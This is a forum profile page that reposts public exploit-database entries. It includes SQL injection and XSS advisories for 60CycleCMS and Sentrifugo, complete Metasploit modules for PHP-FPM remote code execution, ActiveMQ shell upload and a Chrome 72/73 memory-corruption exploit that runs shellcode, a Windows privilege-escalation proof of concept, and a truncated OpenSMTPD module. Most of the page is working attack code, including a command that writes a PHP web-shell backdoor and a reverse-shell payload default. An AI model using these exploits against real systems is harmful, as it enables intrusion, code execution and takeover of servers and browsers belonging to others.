
Everything posted by HireHackking
-
60CycleCMS - 'news.php' SQL Injection
# Exploit Title: 60CycleCMS - 'news.php' Multiple vulnerability # Google Dork: N/A # Date: 2020-02-10 # Exploit Author: Unkn0wn # Vendor Homepage: http://davidvg.com/ # Software Link: https://www.opensourcecms.com/60cyclecms # Version: 2.5.2 # Tested on: Ubuntu # CVE : N/A --------------------------------------------------------- SQL Injection vulnerability: ---------------------------- in file /common/lib.php Line 64 -73 * function getCommentsLine($title) { $title = addslashes($title); $query = "SELECT `timestamp` FROM `comments` WHERE entry_id= '$title'"; // query MySQL server $result=mysql_query($query) or die("MySQL Query fail: $query"); $numComments = mysql_num_rows($result); $encTitle = urlencode($title); return '<a href="post.php?post=' . $encTitle . '#comments" >' . $numComments . ' comments</a>'; } lib.php line 44: * $query = "SELECT `timestamp`,`author`,`text` FROM `comments` WHERE `entry_id` ='$title' ORDER BY `timestamp` ASC"; * * news.php line 3: * require 'common/lib.php'; * Then in line 15 return query us: * $query = "SELECT MAX(`timestamp`) FROM `entries * http://127.0.0.1/news.php?title=$postName[SQL Injection] ---------------------------- Cross Site-Scripting vulnerability: File news.php in line: 136-138 : * $ltsu = $_GET["ltsu"]; $etsu = $_GET["etsu"]; $post = $_GET["post"]; * get payload us and printEnerty.php file in line 26-27: * <? echo '<a class="navLink" href="index.php?etsu=' . $etsu . '">Older ></a>'; <? echo '<a class="navLink" href="index.php?ltsu=' . 0 . '">Oldest >>|</a>'; * print it for us! http://127.0.0.1/index.php?etsu=[XSS Payloads] http://127.0.0.1/index.php?ltsu=[XSS Payloads] ---------------------------------------------------------- # Contact : 0x9a@tuta.io # Visit: https://t.me/l314XK205E # @ 2010 - 2020 # Underground Researcher
-
PHP-FPM - Underflow Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'PHP-FPM Underflow RCE', 'Description' => %q( This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers with certains Nginx + PHP-FPM configurations are exploitable. This is a port of the original neex's exploit code (see refs.). First, it detects the correct parameters (Query String Length and custom header length) needed to trigger code execution. This step determines if the target is actually vulnerable (Check method). Then, the exploit sets a series of PHP INI directives to create a file locally on the target, which enables code execution through a query string parameter. This is used to execute normal payload stagers. Finally, this module does some cleanup by killing local PHP-FPM workers (those are spawned automatically once killed) and removing the created local file. ), 'Author' => [ 'neex', # (Emil Lerner) Discovery and original exploit code 'cdelafuente-r7' # This module ], 'References' => [ ['CVE', '2019-11043'], ['EDB', '47553'], ['URL', 'https://github.com/neex/phuip-fpizdam'], ['URL', 'https://bugs.php.net/bug.php?id=78599'], ['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html'] ], 'DisclosureDate' => "2019-10-22", 'License' => MSF_LICENSE, 'Payload' => { 'BadChars' => "&>\' " }, 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Payload' => { 'PrependEncoder' => "php -r \"", 'AppendEncoder' => "\"" } } ], [ 'Shell Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php']) ]) register_advanced_options([ OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]), OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]), OptInt.new('QSLHint', [false, 'Query string length hint']), OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]), OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]), OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]), OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]), OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']), OptEnum.new('DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]), OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20]) ]) @filename = rand_text_alpha(1) @http_param = rand_text_alpha(1) end CHECK_COMMAND = "which which" SUCCESS_PATTERN = "/bin/which" class DetectMethod attr_reader :php_option_enable, :php_option_disable def initialize(php_option_enable:, php_option_disable:, check_cb:) @php_option_enable = php_option_enable @php_option_disable = php_option_disable @check_cb = check_cb end def php_option_enabled?(res) !!@check_cb.call(res) end end def self.detect_methods { 'session.auto_start' => DetectMethod.new( php_option_enable: 'session.auto_start=1', php_option_disable: 'session.auto_start=0', check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ } ), 'output_handler.md5' => DetectMethod.new( php_option_enable: 'output_handler=md5', php_option_disable: 'output_handler=NULL', check_cb: ->(res) { res.body.length == 16 } ) } end def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true) uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'}) qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length if qsl_delta.odd? fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}" end prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26" qsl_prime = qsl - qsl_delta/2 - prefix.length if qsl_prime < 0 fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}" end uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}" opts = { 'method' => 'GET', 'uri' => uri, 'headers' => { 'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}", 'Nuut' => Rex::Text.rand_text_alphanumeric(11) } } actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0 actual_timeout ||= 20 connect(opts) if client.nil? || !client.conn? # By default, try to reuse an existing connection (persist option). res = client.send_recv(client.request_raw(opts), actual_timeout, true) if res.nil? && allow_retry # The server closed the connection, resend without 'persist', which forces # reconnecting. This could happen if the connection is reused too much time. # Nginx will automatically close a keepalive connection after 100 requests # by default or whatever value is set by the 'keepalive_requests' option. res = client.send_recv(client.request_raw(opts), actual_timeout) end res end def repeat_operation(op, opts={}) datastore['OperationMaxRetries'].times do |i| vprint_status("#{op}: try ##{i+1}") res = opts.empty? ? send(op) : send(op, opts) return res if res end nil end def extend_qsl_list(qsl_candidates) qsl_candidates.each_with_object([]) do |qsl, extended_qsl| (0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta| extended_qsl << qsl - delta end end.sort.uniq end def sanity_check? datastore['OperationMaxRetries'].times do res = send_crafted_request( path: "/PHP\nSOSAT", qsl: datastore['MaxQSL'], customh_length: datastore['MaxCustomHeaderLength'] ) unless res vprint_error("Error during sanity check") return false end if res.code != @base_status vprint_error( "Invalid status code: #{res.code} (must be #{@base_status}). "\ "Maybe \".php\" suffix is required?" ) return false end detect_method = self.class.detect_methods[datastore['DetectMethod']] if detect_method.php_option_enabled?(res) vprint_error( "Detection method '#{datastore['DetectMethod']}' won't work since "\ "the PHP option has already been set on the target. Try another one" ) return false end end return true end def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '') res = nil path = "/PHP_VALUE\n#{php_setting}" pos_offset = 34 if path.length > pos_offset vprint_error( "The path size (#{path.length} bytes) is larger than the allowed size "\ "(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')") return nil end path += ';' * (pos_offset - path.length) res = send_crafted_request( path: path, qsl: qsl, customh_length: customh_length, cmd: cmd ) unless res vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}") end return res end def send_params_detection(qsl_candidates:, customh_length:, detect_method:) php_setting = detect_method.php_option_enable vprint_status("Iterating until the PHP option is enabled (#{php_setting})...") customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a qsl_candidates.product(customh_lengths) do |qsl, c_length| res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length) unless res vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}") return nil end if res.code != @base_status vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}") end if detect_method.php_option_enabled?(res) php_setting = detect_method.php_option_disable vprint_status("Attack params found, disabling PHP option (#{php_setting})...") set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length) return { qsl: qsl, customh_length: c_length } end end return nil end def detect_params(qsl_candidates) customh_length = nil if datastore['CustomHeaderLengthHint'] vprint_status( "Using custom header length hint for max length (customh_length="\ "#{datastore['CustomHeaderLengthHint']})" ) customh_length = datastore['CustomHeaderLengthHint'] end detect_method = self.class.detect_methods[datastore['DetectMethod']] return repeat_operation( :send_params_detection, qsl_candidates: qsl_candidates, customh_length: customh_length, detect_method: detect_method ) end def send_attack_chain [ "short_open_tag=1", "html_errors=0", "include_path=/tmp", "auto_prepend_file=#{@filename}", "log_errors=1", "error_reporting=2", "error_log=/tmp/#{@filename}", "extension_dir=\"<?=`\"", "extension=\"$_GET[#{@http_param}]`?>\"" ].each do |php_setting| vprint_status("Sending php.ini setting: #{php_setting}") res = set_php_setting( php_setting: php_setting, qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: "/bin/sh -c '#{CHECK_COMMAND}'" ) if res return res if res.body.include?(SUCCESS_PATTERN) else print_error("Error when setting #{php_setting}") return nil end end return nil end def send_payload disconnect(client) if client&.conn? send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: payload.encoded, allow_retry: false ) Rex.sleep(1) return session_created? ? true : nil end def send_backdoor_cleanup cleanup_command = ";echo '<?php echo `$_GET[#{@http_param}]`;return;?>'>/tmp/#{@filename}" res = send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: cleanup_command + ';' + CHECK_COMMAND ) return res if res&.body.include?(SUCCESS_PATTERN) return nil end def detect_qsl qsl_candidates = [] (datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl| res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl) unless res vprint_error("Error when sending query with QSL=#{qsl}") next end if res.code != @base_status vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate") qsl_candidates << qsl end end qsl_candidates end def check print_status("Sending baseline query...") res = send_crafted_request(path: "/path\ninfo.php") return CheckCode::Unknown("Error when sending baseline query") unless res @base_status = res.code vprint_status("Base status code is #{@base_status}") if datastore['QSLHint'] print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})") qsl_candidates = [datastore['QSLHint']] else print_status("Detecting QSL...") qsl_candidates = detect_qsl end if qsl_candidates.empty? return CheckCode::Detected("No qsl candidates found, not vulnerable or something went wrong") end if qsl_candidates.size > datastore['MaxQSLCandidates'] return CheckCode::Detected("Too many qsl candidates found, looks like I got banned") end print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}") qsl_candidates = extend_qsl_list(qsl_candidates) vprint_status("Extended QSL list: #{qsl_candidates}") print_status("Doing sanity check...") return CheckCode::Detected('Sanity check failed') unless sanity_check? print_status("Detecting attack parameters...") @params = detect_params(qsl_candidates) return CheckCode::Detected('Unable to detect parameters') unless @params print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}") print_good("Target is vulnerable!") CheckCode::Vulnerable ensure disconnect(client) if client&.conn? end def exploit unless check == CheckCode::Vulnerable fail_with Failure::NotVulnerable, 'Target is not vulnerable.' end if @params[:qsl].nil? || @params[:customh_length].nil? fail_with Failure::NotVulnerable, 'Attack parameters not found' end print_status("Performing attack using php.ini settings...") if repeat_operation(:send_attack_chain) print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'") else fail_with Failure::Unknown, 'Failed to send the attack chain' end print_status("Trying to cleanup /tmp/#{@filename}...") if repeat_operation(:send_backdoor_cleanup) print_good('Cleanup done!') end print_status("Sending payload...") repeat_operation(:send_payload) end def send_cleanup(cleanup_cmd:) res = send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: cleanup_cmd ) return res if res && res.code != @base_status return nil end def cleanup return unless successful kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done' rm = "rm -f /tmp/#{@filename}" cleanup_cmd = kill_workers + ';' + rm disconnect(client) if client&.conn? print_status("Remove /tmp/#{@filename} and kill workers...") if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd) print_good("Done!") else print_bad( "Could not cleanup. Run these commands before terminating the session: "\ "#{kill_workers}; #{rm}" ) end end end
-
Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload', 'Description' => %q{ This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache ActiveMQ 5.x before 5.11.2 for Windows. The module tries to upload a JSP payload to the /admin directory via the traversal path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ credentials admin:admin (or other credentials provided by the user). It then issues an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the payload and obtain a shell. }, 'Author' => [ 'David Jorm', # Discovery and exploit 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ [ 'CVE', '2015-1830' ], [ 'EDB', '40857'], [ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ] ], 'Privileged' => false, 'Platform' => %w{ win }, 'Targets' => [ [ 'Windows Java', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' } ], ], 'DisclosureDate' => '2015-08-19', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'RPORT' => 8161, 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' }, 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), OptString.new('PATH', [true, 'Traversal path', '/fileserver/..\\admin\\']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']) ]) end def check print_status("Running check...") testfile = Rex::Text::rand_text_alpha(10) testcontent = Rex::Text::rand_text_alpha(10) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'PUT', 'data' => "<% out.println(\"#{testcontent}\");%>" }) res1 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'GET' }) if res1 && res1.body.include?(testcontent) send_request_cgi( opts = { 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'DELETE' }, timeout = 1 ) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit print_status("Uploading payload...") testfile = Rex::Text::rand_text_alpha(10) vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails. send_request_cgi({ 'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'PUT', 'data' => payload.encoded }) print_status("Payload sent. Attempting to execute the payload.") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'GET' }) if res && res.code == 200 print_good("Payload executed!") else fail_with(Failure::PayloadFailed, "Failed to execute the payload") end end end
-
Microsoft Windows - 'WizardOpium' Local Privilege Escalation
#include <cstdio> #include <windows.h> extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); int main() { HINSTANCE hInstance = GetModuleHandle(NULL); WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0 printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); } printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); } printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1); printf("[*] Allocate memory to be used for corruption\n"); PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); printf("\tptr: %p\n", mem); PBYTE byteView = (PBYTE)mem; byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow //pass DrawSwitchWndHilite double dereference PVOID* ulongView = (PVOID*)mem; ulongView[0x20 / sizeof(PVOID)] = mem; printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem); printf("[*] GetLastError = %x\n", GetLastError()); printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); printf("[*] Simulating alt key press\n"); BYTE keyState[256]; GetKeyboardState(keyState); keyState[VK_MENU] |= 0x80; SetKeyboardState(keyState); printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1); }
-
Sentrifugo HRMS 3.2 - 'id' SQL Injection
# Exploit Title: Sentrifugo HRMS 3.2 - 'id' SQL Injection # Exploit Author: minhnb # Website: # Date: 2020-03-06 # Google Dork: N/A # Vendor: http://www.sapplica.com # Software Link: http://www.sentrifugo.com/download # Affected Version: 3.2 and possibly before # Patched Version: unpatched # Category: Web Application # Platform: PHP # Tested on: Win10x64 & Kali Linux # CVE: N/A # 1. Technical Description: # Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid # parameter through POST request in "/sentrifugo/index.php/holidaygroups/add" resource. # This allows a user of the application without permissions to read sensitive information from # the database used by the application. # 2. Proof Of Concept (PoC): POST /sentrifugo/index.php/holidaygroups/add HTTP/1.1 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: http://localhost/sentrifugo/index.php Connection: keep-alive Cookie: PHPSESSID=j4a2o4mq6frhfltq2a0h2spknh Accept: */* Accept-Encoding: gzip,deflate Content-Length: 98 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate()%2Csleep(9)%2C0))XOR'Z&submit=Save # 3. Payload: Parameter: id (POST) Type: time-based blind Title: MySQL >= 5.0 time-based blind - Parameter replace Payload: Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z&submit=Save # 4. Reference:
-
Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Google Chrome 72 and 73 Array.map exploit', 'Description' => %q{ This module exploits an issue in Chrome 73.0.3683.86 (64 bit). The exploit corrupts the length of a float in order to modify the backing store of a typed array. The typed array can then be used to read and write arbitrary memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly. }, 'License' => MSF_LICENSE, 'Author' => [ 'dmxcsnsbh', # discovery 'István Kurucsai', # exploit 'timwr', # metasploit module ], 'References' => [ ['CVE', '2019-5825'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'], ['URL', 'https://github.com/exodusintel/Chromium-941743'], ['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'], ['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'], ], 'Arch' => [ ARCH_X64 ], 'Platform' => ['windows','osx'], 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Mar 7 2019')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] #{request.body}") send_response(cli, '') return end print_status("Sending #{request.uri} to #{request['User-Agent']}") escaped_payload = Rex::Text.to_unescape(payload.encoded) jscript = %Q^ // HELPER FUNCTIONS let conversion_buffer = new ArrayBuffer(8); let float_view = new Float64Array(conversion_buffer); let int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.i2f = function() { return BigInt(this).i2f(); } Number.prototype.smi2f = function() { return BigInt(this).smi2f(); } // ******************* // Exploit starts here // ******************* // This call ensures that TurboFan won't inline array constructors. Array(2**30); // we are aiming for the following object layout // [output of Array.map][packed float array][typed array][Object] // First the length of the packed float array is corrupted via the original vulnerability, // then the float array can be used to modify the backing store of the typed array, thus achieving AARW. // The Object at the end is used to implement addrof // offset of the length field of the float array from the map output const float_array_len_offset = 23; // offset of the length field of the typed array const tarray_elements_len_offset = 24; // offset of the address pointer of the typed array const tarray_elements_addr_offset = tarray_elements_len_offset + 1; const obj_prop_b_offset = 33; // Set up a fast holey smi array, and generate optimized code. let a = [1, 2, ,,, 3]; let cnt = 0; var tarray; var float_array; var obj; function mapping(a) { function cb(elem, idx) { if (idx == 0) { float_array = [0.1, 0.2]; tarray = new BigUint64Array(2); tarray[0] = 0x41414141n; tarray[1] = 0x42424242n; obj = {'a': 0x31323334, 'b': 1}; obj['b'] = obj; } if (idx > float_array_len_offset) { // minimize the corruption for stability throw "stop"; } return idx; } return a.map(cb); } function get_rw() { for (let i = 0; i < 10 ** 5; i++) { mapping(a); } // Now lengthen the array, but ensure that it points to a non-dictionary // backing store. a.length = (32 * 1024 * 1024)-1; a.fill(1, float_array_len_offset, float_array_len_offset+1); a.fill(1, float_array_len_offset+2); a.push(2); a.length += 500; // Now, the non-inlined array constructor should produce an array with // dictionary elements: causing a crash. cnt = 1; try { mapping(a); } catch(e) { // relative RW from the float array from this point on let sane = sanity_check() print('sanity_check == ', sane); print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16)); print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16)); print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16)); let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n; print('original elements addr: ' + original_elements_ptr.toString(16)); print('original elements value: ' + read8(original_elements_ptr).toString(16)); print('addrof(Object): ' + addrof(Object).toString(16)); } } function sanity_check() { success = true; success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141; success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242; success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000; return success; } function read8(addr) { let original = float_array[tarray_elements_len_offset+1]; float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f(); let result = tarray[0]; float_array[tarray_elements_len_offset+1] = original; return result; } function write8(addr, val) { let original = float_array[tarray_elements_len_offset+1]; float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f(); tarray[0] = val; float_array[tarray_elements_len_offset+1] = original; } function addrof(o) { obj['b'] = o; return float_array[obj_prop_b_offset].f2i(); } var wfunc = null; var shellcode = unescape("#{escaped_payload}"); function get_wasm_func() { var importObject = { imports: { imported_func: arg => print(arg) } }; bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; wasm_code = new Uint8Array(bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } function rce() { let wasm_func = get_wasm_func(); wfunc = wasm_func; // traverse the JSFunction object chain to find the RWX WebAssembly code page let wasm_func_addr = addrof(wasm_func) - 1n; print('wasm: ' + wasm_func_addr); if (wasm_func_addr == 2) { print('Failed, retrying...'); location.reload(); return; } let sfi = read8(wasm_func_addr + 12n*2n) - 1n; print('sfi: ' + sfi.toString(16)); let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n; print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16)); let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n; print('instance: ' + instance.toString(16)); //let rwx_addr = read8(instance + 0x108n); let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86 //let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100 //let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84 print('rwx: ' + rwx_addr.toString(16)); // write the shellcode to the RWX page if (shellcode.length % 2 != 0) { shellcode += "\u9090"; } for (let i = 0; i < shellcode.length; i += 2) { write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000)); } // invoke the shellcode wfunc(); } function exploit() { print("Exploiting..."); get_rw(); rce(); } exploit(); ^ if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = %Q^ <html> <head> <script> #{jscript} </script> </head> <body> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end
-
Counter Strike: GO - '.bsp' Memory Control (PoC)
So I’ve been holding onto this neat little gem of a .bsp that has four bytes very close to the end of the file that controls the memory allocator. See above picture. Works on all supported operating systems last I checked (so Linux, Windows, and macOS), even after a few years. Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48187.bsp
-
OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local # smtpd(8) may crash on a malformed message Rank = AverageRanking include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Expect def initialize(info = {}) super(update_info(info, 'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation', 'Description' => %q{ This module exploits an out-of-bounds read of an attacker-controlled string in OpenSMTPD's MTA implementation to execute a command as the root or nobody user, depending on the kind of grammar OpenSMTPD uses. }, 'Author' => [ 'Qualys', # Discovery and PoC 'wvu' # Module ], 'References' => [ ['CVE', '2020-8794'], ['URL', 'https://seclists.org/oss-sec/2020/q1/96'] ], 'DisclosureDate' => '2020-02-24', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, # NOTE: Only when exploiting new grammar # Patched in 6.6.4: https://www.opensmtpd.org/security.html # New grammar introduced in 6.4.0: 